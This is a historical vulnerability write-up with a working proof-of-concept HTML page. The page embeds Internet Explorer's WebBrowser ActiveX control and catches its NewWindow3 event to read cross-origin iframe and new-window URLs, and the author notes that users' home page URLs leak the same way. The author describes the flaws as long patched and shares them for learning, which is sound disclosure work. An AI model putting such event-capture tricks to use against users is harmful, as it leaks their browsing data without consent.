I noticed that when a WebBrowser Control is embedded in a page, it exposes browser-level events — including NewWindow3 — to the host page’s scripts. This means a page can intercept the URLs of any new windows opened from within the control, including from cross-origin content loaded inside it.

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<TITLE>Capture Events from the WebBrowser</TITLE></HEAD>
<BODY>
<FONT FACE="Tahoma" SIZE="2">
<H2>Capturing Events from the WebBrowser Control:</H2>
Works in IE6 by default. In IE7, you will get the GoldBar because of the ActiveX.<BR><BR>
<B>Click on a Link of the Google IFRAME</B> and you will receive the NewWindow3 EVENT from the WebBrowser Control. The problem is that
we are receiving the arguments of that method so we can know which URL is inside that IFRAME and which URL is inside the new opened Window.
<BR>
What else can you get using this method? Well, for example, you can use the GoHome() method and open a new Window from there to get
the URL of the user HomePage. The same with the Search. It's not big deal, but you are still getting user information.
<HR>
<B>Code:</B><BR>
&lt;OBJECT ID="myControl" height="300" width="500" classid="clsid:8856F961-340A-11D0-A96B-00C04FD705A2"&gt;&lt;/OBJECT&gt;<BR><BR>
&lt;SCRIPT FOR="myControl" <B>EVENT="<FONT COLOR="Blue">NewWindow3(ppDisp, Cancel, dwFlags, bstrUrlContext, bstrUrl)</FONT>"</B>&gt;<BR>
alert('Opening Window from:\n' + bstrUrlContext + '\n\n\n' + 'The New Window URL is:\n'+ bstrUrl);<BR>
&lt;/SCRIPT&gt;
<HR>
<BR>

</FONT>
<SCRIPT LANGUAGE="JavaScript">
var currentDir=location.href.substring(0,location.href.lastIndexOf('/')+1);
var strMyControl='<OBJECT ID="myControl" height="300" width="500" classid="clsid:8856F961-340A-11D0-A96B-00C04FD705A2">'+
'<PARAM NAME="ExtentX" VALUE="13229">'+
'<PARAM NAME="ExtentY" VALUE="13229">'+
'<PARAM NAME="ViewMode" VALUE="0">'+
'<PARAM NAME="Offline" VALUE="0">'+
'<PARAM NAME="Silent" VALUE="0">'+
'<PARAM NAME="RegisterAsBrowser" VALUE="0">'+
'<PARAM NAME="RegisterAsDropTarget" VALUE="1">'+
'<PARAM NAME="AutoArrange" VALUE="0">'+
'<PARAM NAME="NoClientEdge" VALUE="0">'+
'<PARAM NAME="AlignLeft" VALUE="0">'+
'<PARAM NAME="NoWebView" VALUE="0">'+
'<PARAM NAME="HideFileNames" VALUE="0">'+
'<PARAM NAME="SingleClick" VALUE="0">'+
'<PARAM NAME="SingleSelection" VALUE="0">'+
'<PARAM NAME="NoFolders" VALUE="0">'+
'<PARAM NAME="Transparent" VALUE="0">'+
'<PARAM NAME="ViewID" VALUE="{0057D0E0-3573-11CF-AE69-08002B2E1262}">'+
'<PARAM NAME="Location" VALUE="'+currentDir+'iframedata.html">'+
'</OBJECT>';
//	The only reason for doing a doc.write (instead of straight HTML) is to load the file "01_ifrsecdemo.html" without having to edit
//	or change this file. We need to know the full URL to the file in order to load it.
document.write(strMyControl);
</SCRIPT>

<SCRIPT FOR="myControl" EVENT="NewWindow3(ppDisp, Cancel, dwFlags, bstrUrlContext, bstrUrl)"> 
//	Here's the trick. The WebBrowser Control is letting us capture the NewWindow3 event. Other events (like NavigateError) can be
//	captured also, getting information (URLs) that should not be accesible.

alert('Opening Window from:\n' + bstrUrlContext + '\n\n\n' + 'The New Window URL is:\n'+ bstrUrl);
//alert(ppDisp + '\n' + Cancel + '\n' + dwFlags + '\n' + bstrUrlContext + '\n' + bstrUrl);
</SCRIPT> 
</BODY>
</HTML>

The SCRIPT FOR="myControl" EVENT="NewWindow3(...)" syntax attaches directly to the COM event exposed by the WebBrowser Control. When a user inside the embedded control’s IFRAME clicks a link that opens a new window, the event fires on the host page with the source URL and destination URL as arguments. Other events like NavigateError also leak navigation information this way.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.